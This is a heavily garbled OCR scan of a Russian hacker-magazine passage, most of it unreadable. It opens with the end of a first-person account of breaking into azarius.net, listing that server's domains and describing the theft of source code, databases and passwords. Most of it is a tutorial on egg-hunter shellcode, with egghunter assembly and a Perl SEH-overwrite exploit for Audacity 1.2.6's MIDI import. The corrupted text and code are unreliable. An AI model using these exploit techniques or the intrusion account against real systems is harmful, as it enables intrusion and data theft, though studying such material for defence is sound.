C nepBbIM NYHKTOM § ycnelwHo cnpasuncs, cave PHP-ncxofHnkn 13
avpekTopun /var/www/html/azarius/public/, Ho, Kak HU CTpaHHO, aAMWUHKM
Tam He bbis1o.

[onro nasas no daiinam 1 oMpPeKTopusM LIOMa, 5 Tak U He Hallen af-
MVIHKY, Tak Y4TO MPULLNOCH AOBOSIbCTBOBATHLCS MOMHbLIM AoCTyroM k B[] 1
nexofHMkammn Azapuyca.

[Nanee @ BbinonHun komangy «locate httpd.conf» v 3awen B gupexTtopuio /
etc/apache2/sharedconfig/sites-enabled/, rae xpaHunnce KoHbUTM BCex
caliToB TekyLlero cepeepa.

» 064

Ha azarius.net

BbIBECTM MONHBIN CMUCOK CaliTOB NoMora komaHaa «cat ./*|grep
ServerName»:

affiliate.herbaldistribution.com
blog.azarius.net
conscious.nl
consciousdreams.nl
database.azarius.net
dropshipping.consciouswholesale.com
middleware.entheogenics.com
pimpyourbicycle.com
piwik.azarius.net
redir.vaposhop.com
secure.azarius.net
stats.azarius.net
webman.azarius.net
webman . vaposhop . com
www.azarius.at
www.azarius.be
WWw.azarius.es
www.azarius. fr
WwWw.azarius.net
www.azarius.nl
redir.azarius.nl
www.azarius.pt
consciouswholesale.com
www.crazy-t-shirts.com
www.cultofarcha.com

www . entheogenics.com
greenlabelseeds.com

www . mushxl.nl
www.shavita.net

www . shroomshaker .net
smartshop.nl

www. travellersgarden.com
vaposhop.com

www.Xtenzion.nl

Kak BnavLWb, nofaoMeHoB y azarius.net okasanock ropasgo bonblue, Yem
nokaszan [yrn :). Tak 4To, ecvt 3axoyellb NOBTOPUTSL Xak, 310 ByaeT Tebe
nULLen ONs pasMblLLNEHNS.

Bce ocTanbHble caiTbl Tak MW MHaue Bce paBHO Dbin CBA3aHLI C TPaBoM,
rpubamu v NPOUMMM MHTEPECHBIMU LUTYKaMU, TaK YTo 5 BbICTpeHbKO 3abpan
BCE MCXOAHMKM, BCe Basbl, ABKM 1 Naponu 1 NpocTo ylwen ¢ cepsepa (Hy, He
COBCEM MPOCTO, a M3BeKaTb KOMMEPYECKMIA ycnex 13 31oro aobpa ).

0TXOAHAK

[laxe ecnun y NCTOKOB TBOEIO KOMMEPYeCckoro oHfaiH-npoekTa CTOAT
rpaMoTHble Koflepbl 1 creymanncTsl o 6e30nacHoCTH, To BCe paBHO
coBeTylo onacaTbcs baHanbHOro Yenoseyeckoro pakropa. B faHHom
B3JIOMe K 3aJMBKe Wenna v cnmBy 6asbl nonb3oBaTenell Npusenu
HECKOJIbKO CNy4aiiHOCTel, KOTOpble, CJI0BHO KYyCOYKM Na3sna, Cioxu-
SINCb B @fICKYl0 MO3aUKy C HAPUCOBAHHbLIM Ha HEel INCTKOM Mapuxya-
Hbl. Tak 41O, agMuH, bon! 3
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WIEM

HA [TACXAJIbHYH]

OXOTY

[loppo6HoCTH egg hunt wennkoaa

B nocneanux Homepax ][ Gbina HanMcaHa cepusa CTaTeld No KOAWHIY UBYYUX CNIOUTOB
C MCNoNb30BaHWEM pa3Ho06pa3HbIX MeTo/0B 00X04a MeXaHW3MOB 3alUMTbI B NOCNEAHUX
Bepcuax Windows. Yto6bl Tbl 6b11 npocBeLLeH U 4yBCTBOBaN cebf B CNNOMTOCTOPOEHUM
KaK pbl6a B Goplue, A NOBEald KOE-4TO Ha 6/M3KYlo TeMy — LeNKOA0NUCaHHE.

A MMEHHO: BHYTPEHHOCTH M TEXHUYeCKKe noapo6HocTH MeToaa/Wwennkoaa. Uma emy —

Egg Hunting.

YTO TAKOE EGG HUNTING?

Mo cyTv UrTXaHTUHT npeacTasnseT cobolt Hebonbwoil No pasmepy
WeNKof, LUenb KOTOPOro — HalTU B BUPTYabHOM NaMaTh aTakyemo-
ro npouecca 60eBON WeNNKOA 1 NepeaaTh eMy ynpasieHue npouec-
coM. HaxoxpaeHune obecneunBsaeTtcs 3a CUeT YHUKaNbHON NOCAEL0-
BaTE/IbHOCTM CUMBOJIOB, CTOALLUX Nepes OCHOBHbIM WwesnkogoM. Ha
camom perne, Egg Hunting — 370 oguH U3 knaccuyeckux MeTogos,
MCMNONb3yeMbIX B CNIONTOCTpOEHUM/WwennkogonucaHmm. Mcnonb-
3yeTCcs OH yXe AaBHO B TeX UK UHbIX cuTyaumusx. Jlydwein paboToi
Mo AaHHOM TeMe CYMTaeTCa CTaTba TaKOro M3BECTHOrO YenoBeyka
kak skape ax ot 2003 ropa (hick.org/code/skape/papers/egghunt-

shellcode.pdf].

A 3AYEM OHO HAM

Ecnn MPOCTO, TO UTTXAHTUHT UCMONB3YIOT B CUTYyaLMAX, KOrha OCHOBHOM
Lennkon He BfiesaetT B ﬂepeﬂOﬂHﬂeMblﬂ 6y¢ep I/I/VU'II/] Hen3BeCTHO, rae oH
pa3MelleH B NaMaTun. Ecnn HenoHdATHO, To NnoiiMelwb Ha npumepe. Aecnn

c noapobHoCTAMM, TO...

Bce Mbl npocMaTpriBaem barTpak, YnTaeM onucaHvie ya3BUMOCTel, MHOr4a
3aknagbiBaeM B PoC-cnnoitel. BobWMHCTBO U3 HUX MMEIOT HAaYMHKY B
BUAe, HanpuMep, 3anycka kanbkynstopa uav otkpbiua TCP-nopTa. To xe
camoe OTHOCUTCS M KO BCSKOTO pofja CTaTbsiM MPO CMI0MTOCTPOEHWE, TAe
CMJI0NTEI MPUMEHSIOTCS B 1ab0paTopHbIX YCOBUSAX, @ HAUMHKA UCMOMb3Y-

» 066

eTCs TONbKO A5 TOro, 4Tobbl MoKa3aTb, YTO BCE MOYHMIOCh.

B peanbHoW Xu3HM, Kak HU CTPaHHO, He BCe TaK NpocTo, 1 GyHKUMOHanNa
KanbkynaTopa sIBHO He xBaTaeT Afif TOro, YTobbl 1 B CUCTEMY BbECTbCH, U
060ITH BCAKME MexaHM3Mbl Be30MacHoCTu, He roBops Yk 0b aHTUBMpycax
1 dariepBonax, v, K TOMy Xe, OrpaHU4eHNUsX Ha UCMoJb3YyeMble CUMBOJbI.
KoHeyHo, Bo MHOrOM BbIpy4atoT staged-wennkoabl, rae boesoi wennkon
nonafaeT B NaMsiTb NMOCTENEHHO, MO CTaAnaM. M-m... B obLeM, UrrxaHT —
aT0 noasug staged-wennkoga.K nprMepy, yH1BepcanbHbIi LENKOA Ha
3anyck kanskynatopa — scero 200 6aliT (a nprBsa3aHHbIN K koHkpeTHoi OC
v ee agpecaM — Bcero 27 6aiT :)), Ha buna — 341 6anT. Ecniv nobasuts
orpaHuyenns Ha ucnonbzosanue \X00\xff, yto BnonHe 06bIYHO, MoNyyaem
227 6aiiT 1 368 baiiT cooTBETCTBEHHO.

Ecnun npegnonoxuTb, 4to Mbl orpatuyeHsl BYKBO-undepkamu: 534, 816.
B obuiem, TyT BCe noHATHO.

[la v npocTol buHa nopta — HeuHTepecHo. K npuMepy, Wennkoa Ha
ycTaHoBky TyHHens yepe3 DNS, o koTopoM st nucan B pybpuke Easy Hack,
BecuT ax 3a 1000 6alT, 1 310 B HaTypanbHOM BUAe.

Y10 >Xe HaM MoryT NpPeaiokuTb 3KCMNoiThI? CKoNbKo MOTYT BMECTUTL B
cebs HaunHkn? Mo-pasHomy. OyeHb.

370 B nabopaTopHbIx ycnoBuax Npu nepenosHeHun bypepa Mol nonydaem
BonbLuyto, HeMpepbIBHYIO, HEM3MeHEHHYI0 061acTb B CTeke C MOSHOCTbIO
koHTponunpyemsiM EIP. 3x... Kctatn, B8 MSF k kaxaoMy cnnoiiTy ykasbl-
BaeTCs pa3Mep BO3MOXHOM HauMHKM 1 3arpeLleHHble CUMBOSIbI B pas-
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Mepepaya ynpaBneHusa 3a cyet nepesanucu SEH
B fene

nene «Payload information». Hanpumep, ms08_067_netapi — 400 banr,
trendmicro_serverprotect — 800 6aiT, a pa3mep cnnoitos Ha ActiveX He-
OrpaHuyeH, Tak kak boesoli Wwennkog B kyde. Kak BuanLb, ianeko He Bce
CMJI0MTLI MOFYT BMECTUTL B cebs BCe, YTo xoTenoch bbl. YT0 e genatb?
Bce 3aBucHT oT crTyaunu, HO MHOT@ HAM NOMOraeT TeXHMKa UITXaHTVHIa.
MHoraa — 370 Koraa 0CHOBHOM LUENIKOS, eCTb eLlle rAe-To B BUpTyasb-
HOM afipecHOM npocTpaHcTBe npouecca. Kak ero 3anuxHyts Tyna? Bee
3asuenT ot MO. Hanpumep, ans IE 6/7, usBpalascs ¢ ABa-CKPUNTOM, Mbl
MOXEM 3aMnXHYTb OCHOBHOI LUENN B Ky4y win, Ans imap-cepsepa Mercur
Messaging — nocnefoBaTenbHOM OTNPaBKOM iMap-3anpocoB.

HOBAfl MW3Hb UITXAHTUHIA

He coBceM HoBas, HO... XM3Hb Beflb HE CTOUT Ha MecTe, 1 ceMeicTeo OC
Windows o063aBenoch Takumm cTpaLliHbiMy cioBamu kak ASLR, SafeSEH,
DEP, GS n T.4. Y10 370 And Hac 3HaumT? MNncaTtb CnnonTbl, ocobeHHo
yHUBEpCanbHble, CTano ropasfo, ropasno TpyaHee. Ho, KOHeUYHO, He HeBO3-
MOXHO. Pa3 pa3paboTumnkim MCNonb3yioT KOMMJIEKCHbIE MepbI MO 3alLuTe,
Mbl MCMOJIb3YeM KOMIJIEKCHbIE Mepbl M0 B310MY :). OTANYHBIM NPUMEPOM
3pech aBaseTcs jit-spay wennkog nog IE8, FF3.6 ¢ obxogom DEP, ASLR
(exploit-db.com/exploits/13649/), HanucaHHbI Anekceem CuHLOBLIM. B

3TOM CMJI0TE OH MCMOMIb30BaN UITXaHTUHT Bjitfcnpee noyTn eANHCTBEHHOM
HAOCTYNMHOM KyCKe B NaMdATK, KOTopaa ncnosiHaeMa. BoamoxHocTu 3annXHyTb
B cnpe|7| OCHOBHOW wennkon He BbIS10 N3-3a BCEBO3MOXHbIX OFpaHVI‘-IeHVH;I.

TEOPHA

Y10 coboit npeacTaBAAeT UITXaHTUHI-LENNKOA v TpeboBaHus K Hemy?

B 06LeM-To, UITXaHTIUHT-LLENKO, — 3TO LWeKOA MUHVMMANbHOMo pasMe-
pa, KOTOPbIN MOXET BbICTPO HalNTW B BUPYaSIbHOM afipeCHOM NPOCTPaHCTBe
npoLiecca 0CHOBHOW LIENKOA 1 NepefaTb emy yrpasneHue. MrrxaHTuHr
HaXO[MT OCHOBHYIO HaYMHKY N0 NOC/e0BaATENbHOCTW CYMBOSIOB, CTOALLMX
nepep Hell. 370 Tak Ha3biBaeMblIi tag nnu egg, notomy 1 egg hunting. Camo
«ANL0» — yHUKaNbHas YeTbipexbaiiToBas nocnefoBaTeNbHOCTb CUMBOJIOB,
KoTopasi noBTopsieTcs ABaxAbl. [JBaxabl, 4Tobbl 13bexaTb Konnnsui, To
eCTb HeBepHbIX 0OHapyXeHwuI nrrxaHTepoM. K Tomy xe, 4to 3710 3a boesol
LWETUTKOZ, ECAM Y HETO U/IN OfHO SIALO, WA COBCEM WX HETY :).

OcHoBHas «TpyAHOCTb» 419 UrTXaHTepa B TOM, YTO He BCe BUPTyasibHOe
afipecHoe NpoCcTpaHCTBO NMpoLecca BulAeneHo («cyuectayeT»). To ecTb
CYLLLeCTBYIOT HEBbIAENEHHbIE CTPaHWLbI NaMaTy, NonbiTka 0bpaTnTbCs K
KOTOpbIM BbI30BET OLWMbKY access violation, 1 nporpamma Tyno BbINETUT.
Bo-BTOpbIX, HaUVHKa HaXoANTCH HEU3BECTHO rfe, MO3TOMY [JOCTYMHbIE
cTpaHnusl npuxoanTcs nobaritoso nepebupats. Cywectayet Tpu (¢ no-
JI0BMHO1) OCHOBHbIX TEXHUKM OPraHU3aLnn UrTXaHTUHra NOJ, CeMeiCTBO
Windows. Obuunit anroputM y HUX NOX0X: UITXaHTep NpoBepsieT agpeca
namsaTV Ha BO3MOXHOCTb AOCTyNa 1, NPW MOAOXWUTENbHOM pe3ynsTaTe,
nobaiiToBO CpaBHMBaeT NamaTb ANs Noucka Tera. PasHuua 3aknoyaeTcs B
peanu3auuu.
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MU - main thread, medule audacity

PesyanaT nepenojiHeHuUsa

NTDISPLAYSTRING / NTACCESSCHECKANDAUDITALARM

370 ocHosHas (¢ nonosuHoM :J) TexHrka. OHa 3akM04YaeTCsH B NCMOb30-
BaHuMW crncTeMHoro Boizosalsystem call) NtDisplayString ans nposepku
[0CTyna K cTpaHuLe namatv. Bug Beizosa:

NTSYSAPI NTSTATUS NTAPI NtDisplayString (
IN PUNICODE_STRING String
) ;

Boobuue, BbI30B Npon3BoAMTCS 3a cyeT npepbiBakus: B EAX ykasbiBaeTcs,
KaKol Bbl30B MPOM3BECTH, @ B OCTallbHbIX PETNCTPax — apryMeHTbl K HeMy.
B naHHOM cnydae agpec, K KOTOPOMY Mbl MblTaeMCsl MOAYYUTb [O-

cTyn, nexuT B pernctpe EDX. OTBeT PpyHKUMM nonafaeT B EAX 1 paBeH
0xc0000005, ecnu goctyn k cTpaHumue BoizoseT Access Violation. [Ins no-
BaliToBOro cpaBHeHWs UCMoNb3yeTcs onepaTtop scads, KOTOpbI oneprpyeT
¢ HawwnmM Tarom (egg) 8 EAX 1 appecom ns EDI.

Obwuit BuA wennkoga 1 ero nofpobHoe onncaHue:

00000000 6681CAFFOF or dx,Oxfff

00000005 42 inc edx
00000006 52 push edx
00000007 6A43 push byte +0x43
00000009 58 pop eax
0000000A CD2E int O0x2e
0000000C 3C05 cmp al,0x5
0000000E 5A pop edx
0000000F 74EF jz 0x0

00000011 B890509050
00000016 8BFA

mov eax,0x77303074

mov edi,edx

00000018 AF scasd
00000019 75EA jnz 0x5
0000001B AF scasd
0000001C 75E7 jnz 0x5
0000001E FFE7 jmp edi

MTak, nepBble ABe CTpoYkyM BblpaBHUBaOT EDX nog Hayano ctpaHuLbl
namatn. Pasmep MuHuMansHoi cTpaHuubl paseH 1000h B x86, noaToMy Mbl
npoBepsieM afipec, U, eCIV ero HeT, MePeXoinM K CleaytoLLel CTpaHuLe.
Takum obpasoM, cHayana Mbl MeHsieM nocnegHue Tpu banta EBX Ha FFF,
a NoTOM MHKPVUMUHUPYEM, YTO B UTOre AaeT HaM BbipaBHuBaHKe no 1000h.
Mocne, npu gxxamnax, Mbl yBennymeaem 3Havernune EDX nubo Ha Th(cwm.
ctpokyv 00000019, 0000001C), nnbo Ao cneaywLLeln CTpaHULbI, TO €CTb Ha
1000h (cm. 0000000F).

[anee mbl knagem EDX B cTek, 4Tobbl COXpaHWTb 3HaYeHMe, Tak Kak perv-
CTPbl MEHSIOT CBOW 3HAYeHWs Npu BbI30Be GYHKLMN.

Cnepylolmne fBe KoMaHabl nepemettatot B EAX 0x43h. 3TvM Mbl yka-
3blBaeM, YTO HaJo 3anycTuTb nMeHHo dyHkumio NtDisplayString. int 2e
[leNaeT CUCTEMHBbIN BbI30B. Pe3ynbTaT, Kak yxe roBopuiock, nonafaeT B
EAX. Ero mnapwwe 6ainTbl Mbl cpaBHmBaeM ¢ 0x5 1 Npy NoNOXKUTENBHOM
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pvefindaddr Memory comparison resulls

UweM Haw wennkop n USMeHeHUs B HeM

pesysbTarte (10 ecTb, access violation) npsiraem B Havyano Wennkopa 4ns
nepexofa Ha crnegytollyto cTpaHuuy. [epep 3TUM, KOHEYHO, BbIHUMAEM
EDX 13 cTeka.

[Nanee uget nobaritosoe cpasHeHwe. 3geck 0x77303074 — 370 Tar (MoxeT
BbITh «11060#», TyT — «wO0t»), KOTOPbI [JOMKEH HAXOAUTLCA Nepes OCHOB-
HbIM WennkogoM. Ero mbl nomewjaem B EAX, a B EDI nomelaem agpec

13 EDX. SCASD cpaBHuBaeT 3HaveHune 13 EAX ¢ TeM, 4To HaxoamuTcs no
agpecy B EDI. B cnyyae Heypaumn Mbl nepeMeltaemMcs 0bpaTHo Ha BTOpYlO
CTPOUKY LennKoaa, rae 3HaveHve EDX yBennuvBaeTcs Ha eanHuLy, a
oCTallbHOE NOBTOPSETCS 3aHOBO.

MoBTopHOE Ucnonb3oBaHne SCASD TpebyeTcs, 4Tobbl eLlle pa3 HaWTK Tar
cpasy nocne nepsoro. Mpu ncnonb3osarun onepatopa SCASD ykasaTtens
Ha namaTb B EDI caBuraeTcs, NosTomy Mbl cpa3y NpbiraeM B Ha4asno Ha-
Lero OCHOBHOTO LUEKOAA, Ucnonb3ys jmp edi.

[Mouemy e 51 ynoMsaHyn Kakyto-To NONOBUHKY B Nape ab3aues

Bbile? [la 370 K TOMy, 4TO BMeCTO onuncaHHo skape'oM GyHKLMK
NtDisplayString MoxHo vcrnonb3oBaTh bonee NO3AHIOK NPUAYMKY —
NtAccessCheckAndAuditAlarm. ®akTnyeckn pa3Huua B koge byneT nnib
B HOMepe Bbi3biBaeMOW GyHKLMM.

Bmecto gna NtDisplayString:

00000007 6A43 push byte +0x43

HonxHo 6biTb ana NtAccessCheckAndAuditAlarm:

00000007 6A02 push byte +0x2

BoHryc ot ncnonbsosarma NtAccessCheckAndAuditAlarm B «nocTosHCT-
Be». CMewenue(0x43h), koTopoe ucnons3yeTcs ANs BLI30Ba CUCTEMHO
dyrkumn ana NtDisplayString Bpofe kak MeHsieTcs B NOCNeAHMX BEPCUSX
0C.

ISBADREADPTR

3Ta TexHuKa UcnonbayeT cTaHaapTHyto API-byHKumMio Ans nposepku fo-
CTyna K BUpTyaNbHOW NaMaTy.
Bug dyHkuMmM cnepyowmin:

BOOL IsBadReadPtr (
onst VOID* lp,
UINT_PTR ucb
) ;

To ecTb, HaMm TpebyeTcs Npu Bbi30Be GyHKLUMM [aHHbIe NepefaBaTs Yepes
CcTek.

Jornka paboTbl 3T TeXHWKM aHaNorMyHa npegslayLieit, NosToMy Inb
KpaTko npoberych no Kogy.
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Egghunter B peiictBum

[ESI+EDI+11]

12FC1E 5] I

00000000 33DB
00000002 6681CBFFOF
00000007 43
00000008 6A08

xor ebx,ebx
or bx,0xfff

inc ebx

push byte +0x8

0000000A 53 push ebx
0000000B B80OD5BE777 mov eax,0x77e75b0d
00000010 FFDO call eax

00000012 85C0O test eax,eax
00000014 75EC jnz 0x2
00000016 B890509050 mov eax, 0x77303074

0000001B 8BFB mov edi,ebx

0000001D AF scasd
0000001E 75E7 jnz 0x7
00000020 AF scasd
00000021 75E4 jnz 0x7
00000023 FFE7 jmp edi

[MepBble Tpu cTpoyku — BeipaBHuBaHve EBX nog paamep cTpaHuubl v
nobaiToBbIV NPOXOA MO AOCTYNHOM NamaATy. [lanee cknagbiBaem apry-
MeHTbl K dyHKuMK, rae 0x8h — ucb-aprymenT, a EBX — nposepsembii
appec B namatn. B EAX 3anuxvBaem appec IsBadReadPtr B Buptyans-
HOW MamaTK npouecca. 3To camblli BONbLWON HeQOCTAaTOK AaHHOW Tex-
HVKW, TaK Kak nonoxeHue GyHKUMM ByneT MeHATbCS B 3aBUCUMOCTH OT
BEpCUM, CepBUC-TaKa, a3blka CUCTEMbI, HE TOBOPS YK 0 PaHAOMMU3aLMUN
npocTpaHcTBa. Ecnun 3HayeHve B EAX He paBHO Hyfto, TO MPOUCXOANT
nepexoA K cnenywoulen ctpaHuue namati. OcTanbHasa 4acTb KOAa aHaso-
rMYHa NpesblayLien TEXHMKE.

MocneaHsas TexHuka ocHOBbIBAeTCS Ha ucnonb3osaHun SEH, Ho a4 Tebe o
Hel He pacckaxy, Tak Kak 1 nosydaeMblid urrxaHtep 6onbluoi no pasmepy
(60 6aiT), u, rasHoe, HaumHaa ¢ XP SP2 anga ee skcnnyatauum NpUXoAnT-
ca 0bxoaunTs 3awmnTy SEH'a, uto flenaeT ee B boNbLWMHCTBE ClyYaeB He
t03abenbHoN.

ELLLE NAPA MOMEHTOB

Vicnonb3osaHneM cABOEHHOMO Tara (aiua) obycnosneHo ele 1 Tem, 4To
WTTX@HTUHT MOXeT HaiTv cam cebga (Tar B cBoeM Tese] 10 HaxoxaeHns
Tara, CTosiLLEro nepef OCHOBHbIM LWENNKOAOM, 1 MepefaTth TyAa ynpasne-
HUWe, 4To HaM He TpebyeTcs.

Tak kak Mbl ucnonb3yem SCASD, To He0bX0AMMO OTCNEXMNBATL, YTOObI
dnar nanpasnerus (D) 6bin cObpoweH, nHave nouck byget npowc-
X0AUTb B 0OpaTHOM Hanpas/ieHUK, 4To NpuBeAeT K HenpaBUIbHON
paboTe nrrxaHTepa v BbineTy npolecca. Ho Takoe bbiBaeT o4yeHb
pefKko v ucnpasnsetcs fobaBneHnem komaHAbl cbpoca dnara Ha-
npasnernns — CDL.
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Log data

Ap,peca ANA BO3BpaTa B CTeK

[Movck UrrxaHTep NpomM3BOAMT MO KPYry, TO eCTb MOC/Ee KOHLA afpecHoro
NpOCTPaHCTBa NpoLIeCca OH NepexoAunT B Hayano. Takum obpasom, ecnu
UrrXaHTep He HalLeT T3r nepef OCHOBHbIM LLEIKOLO0M, TO MpoLecc
KOHKPETHO 3aBUCHET B beckoHeuyHoM Lukie, 3abupasa npu atom 100%
NpOV3BOAUTENBHOCTY MpoLa.

KctaTu, B Linux-cuctemMax UrmxaHTUHT 1033eTCH HUYEM He XyXKe, YeM Mo
Windows, 1 anropuT™ aHanormyeH nepBoMmy, pa3se 4To CUCTEMHbIE Bbl-
30Bbl Apyrue, aa peructpsl. [ogpobHee MOXeLb NOYUTaTL B TOM Xe CTaTbe
oT skape.

MPAKTHYECKASA YACTb. MPUMEP.

Konwu Mbl yxxe onpefenvnucb B HEOBXOAWMOCTU UITXaHTUHIA Kak MeToAa,
[iaBaii onpobyeM ero 1 HeKOTOpPbIE ero BO3MOXHOCTH Ha MpakTuke.
[Mpu3Hatock YTo NprUMep — NabopaTopHbIA, HO Ype3BblYaliHO NokasaTteslb-
HbIVA, @ rMaBHOe — [OCTYMHbIN, Ho 06 3ToM — nocne.

[1ns onbITOB Mbl BOCMOMb3yeMcs 3ByKOBbIM pefakTopoM Audacity. Bepcua
c nepenonxennem — 1.2.6. Baatb MoxHo nvbo c offensive-security.com/

archive/audacity-win-1.2.6.exe, nnbo ¢ guncka. Ytobsl He NOBTOPATLCS

— Ha [IMCKe eCTb BCE, 0 YeM HamucaHo B AaHHoii cTaTbe, oT 10 fo Bcex
BapWaHTOB 3KCMJIOATOreHEPUIIKH.

NHcTpymeHTapwmii ans npenapupoBaHus — byaem nonb3osatbes Immunity
Debugger'om ¢ agaorom pvefindaddr ot corelanc0d3r'a (o koTopoM @
nucan B Npowom Homepe). Baateb otciona — immunityinc.com/products-

immdbg.shtml, nnbo otciona — corelan.be:8800/index.php/security/

pvefindaddr-py-immunity-debugger-pycommand/ .

[ns Toro, 4tobbl pvefindaddr 3apabotan, nuxait ero 8 kopobky ¢ rBo3gsMu.
To ectb B PyCommands.

Cam akcnnonT byget co3gaBatbcs nocpeactsom Perl’a, Tak uto nog Win —
ActivePerl ¢ activestate.com/activeperl. JluyHoe npuctpactve...

MTak, k geny. MepenonHeHwve bypepa Bo3HMKaET Npy MMMopTe cneLunanb-
Ho cdopmumposaHHoro MIDI-daiina B nporpamme. Cospaem dain c AAAAA
B 2000 bawr.

#!/usr/bin/perl

Sjunk = "\x41" x 2000 ; #BykBa A 2K pas3
Ssploit = S$Sjunk; #/ITOTOBEIA CILJIONT
open (FILE, ">test.gro") or die "Cannot open file: $!";

#OTKpEBaeM Oaiiyn Ha 3amuch
print FILE S$sploit;
close (FILE) ;

print

#IInmeM TEKCT
#3akKpEBaeM

"test.gro has been created \n";

OTkpbisaem Audacity B gebarrepe u 3anyckaem ero (F9). ViMnoptupyem
B8 38ykoBOM pegaktop (MpoekT-Mmnopt MIDI). U Buanm B aebarrepe
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SE handler

OnucaHue:

access violation no agpecy 41414141, CMoTpyM — nepenonHeHune He
camoe ypobHoe: EIP He nepesanucanu, agpec Bo3spaTta Toxe. [JocTy-
neH nuwb ESI, nckaxernHo — pervctp ECX. CTek kycoukoBo 3araxeH
Hawurmn A (cM. Bbiwe 1 Huxe). 3aTo nepesanucanu SEH (View - SEH
chain). C HoBOBBeAEHNSAMM B BUHAY 3aLLMTa NCKIOYEHUI NMOAHANACH B
pa3sbl, HO 4N15 NpuMepa oHo coiaeT. YynecHo. Tak, y3Haem nogpobHocTy,
ncnonb3ys nnaruH k pvefindaddr.

Co3paem natrepH:

Ipvefindaddr pattern_create 2000

[JnvHHIOLLYyI0 CTPOYKY, NonydeHHyio 13 okowwka nora(l) unu s daiina
mspattern.txt 8 nanke Immunity Debugger'a, nuxaem B nepemerHyto
$junk. Mepecozpaem test.gro u nepesanyckaem sauTop B Aebarrepe
(ctrl+F2).

CMOTpUM uTOr, UCnonb3ys GyHKLMIO suggest, KoTopas WULLEeT B NamaTu
nepsele 8 baiiT naTTepHa v BbIJAET afpeca, a Takxe yka3biBaeT, Ha 4To
Mbl MOXeM Bo3aelcTeoBath (pernctpol, SEH 1 T.40.), n kakoe Heobxognmo
CMeLLeHue.

Ipvefindaddr suggest

MOXHO y3HaTb CMeLLLEeHWe U LS KOHKPETHO YacTu naTrepHa.
K npumepy, npu nepenontennn SEH nepesanvicancs 3HaueHviem
67413966, Torpa cMelleHve y3HaeM Tak:

Ipvefindaddr pattern_offset 67413966

He byny BaaBaTbcsa B NoApobHOCTM onucaHma TeXHUKW nepesa-
nucu SEH, Ho HanmoMHI 0CHOBHbIE MOMeHThl. SEH-3anuch B cTeke
cocTonT U3 ABYxX 4-baiiTHbIx agpecos. OAMH M3 HUX — yKa3aTenb Ha
cnenyowmnin 06pabotunk nckndeHnin (nextSEH], ecnu gaHHbIf He
cpaboTaert, a BTopoit — yka3aTenb Ha caM ko, obpabaTtbiBatoLnii
ncknoyeHue. Npu BO3HUKHOBEHUM UCKIOYEHWs NporpaMMma nepe-
XOLWUT Mo 3ToMy agpecy. Ho, Tak kak HaMm HyXHO nepejaTtb ynpasie-
HWEe Ha CTeK, TO Mbl HAXOAMM TAe-To B NaMaTV NOCNef0BaTeNbHOCTb
MHCTPYKUMK pop, pop, ret, TeM caMbiM n3basnsemMcs oT NUWHMX
[laHHbIX B CTEKe, MOABUBLUMXCS nocne nepexona Ha obpabotunk, u
Bo3BpaLllaeMcs B cTek. Tak kak nextSEH pacnonoxeH Ha BeplnHe
cTeka, TO HaM Hy>HO nepenpbirHyTb 3anucb 06 obpaboTumke nc-
KNOYEHMA, 4TO Mbl leflaeM, UCMoNb3ya KoHCTpyKuMio \xeb\x06\x90\
x90. Mepsble ABa bata — axamn Bnepef Ha 6 6anT (2 banta \x90
(NOP) n 4 6arita apgpeca Ha SEH), To ecTb, 3a 06paboTunk Ha Haw
WennKom,.

Hapetocb, 4To NOHATHOE 0OBACHEHME NONYUYUNIOCH, ECN YTO — CMOTPUM
PUCYHOK :).

WNrak, SEH HaxoguTcs Ha 178 baiiTe, next SEH — 174. YynecHo.

[ins Toro, 4ToBbl HAWTW HEOBXOAVMYIO NOCNE0BATENBHOCTL «POP POP
ret», BOCMOMb3yeMcs NaarnHoM eule pas. [Ig 3Toro B Hem ecTb HECKOSIbKO
byHKumin. Be3 napaMeTpoB OH WLLET B NaMsTH NpoLecca AaHHyo nocneno-
BaTeNIbHOCTb CO BCEMM perncTpamu. 1o GyHKUMM «p» — NOUCK Npounc-
XOAMT ToNbKO Ans brubanotek ckoMnunuposaHHbix be3 safeSEH, no «p1»
— 6e3 safeSEH 1 ASLR, «p2» — no BceM. VITor cMoTpu Ha cKpuUHLLOTE.

Ipvefindaddr p

[MonyyeHHbIVt agpec, Kak Tbl MOHKMaellb, byaeT y Bcex pasHblit, Tak Kak
3aBUCKUT OH oT Bepcuu, naka OC. Tak uTo nopbepwu kakom-HUbyab.
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Pa36op nepenonHeHus nnarndom pvefindaddr

$Sjunk = "\x41"x174; # Mycop B Hauaje
SjumpNextSEH = "\xeb\x06\x90\x90"; # mrkamm Ha 6 6anT
BIIEpen

SSEH = pack ("V",0x013e5423); # makxyeM Iepexoln Ha pop
pop ret

$shell = "\x42"x200"; # TyT 6ymeT WeJUIKON, a IIOKa
6ykBa B 200 pa3z

Ssploit = $junk.SjumpNextSEH.SSEH.Sshell;

[eHepuM, nMnopTupyeM. Ha owwnbke nposepum nonyyeHHsbln SEH-appec:

1. View — SEH chain;

2. IIpaBOM KHOIIKOM Ha HameM ampece — Follow hadler.

[onxHa BbITe 3anuck pop, pop, ret. Ecnu Tak, To cTaBuM Ha nepsoM pop’e
BpaiiknonHT — F2 (nnbo cpa3sy B okHe SEH chain). Shift+F9, ytobsl npo-
LLOJIXXUTb BbIMOJIHEHWE NPOrpaMMmbil.

lMporpaMMa [JoKHa 0CTaHOBMTLCSA Ha pop. Tenepb nowaroso (F7) go-
xoAum fio ret v Bo3spaltaemcs Ha NextSEH, oH xe — axamn Ha 6 baiT.
Hanee Halul wWennkog — MHoOro «B».

Tenepb CMOTPUM, XOTs HalW NCEBAOLWENIKOA U Ha MECTe, HO pa3Mep ero
— Hukak He 200 baiT. Tam Bcero 72 baiTa. Mano. Ecnu nocmoTpeTs Bhilwe
Y HUXKE MO CTeKy, TO Mbl Takke HalfeM Kycku crnioita. MoxHo, KOHeuHo,
3aMOpOYNTLCS U COBpaTh... HO BAKXKe K UFTXaHTY.

[MofcTaBmM Kakoin-HUDYAb peanbHbIli WENNKOA B CMIONT 1 MOULLLEM ero B
namsTv npouecca.

OTAenbHO coxpaHsieM LenIKof, nepe3anyckaeM sKCraonT U ULLeM B

nebarrepe:
#!/usr/bin/perl
$shell="\xeb\x03....\x5a"; # Kakoi-TO WEJJIKOZN

open (FILE, ">shell") or die "Cannot open file: S$!";
print FILE $shell;
close (FILE) ;

!pvefindaddr compare c:\egg\shell

MoABMTCH OKOLWKO, FAe NepeyncieHsl BCe y4acTKu B NaMaTv npo-
Lecca ¢ HaluM LWeaKo40M U OTMETKOM, M3MEHEHO NN B HUX Y4TO-TO.
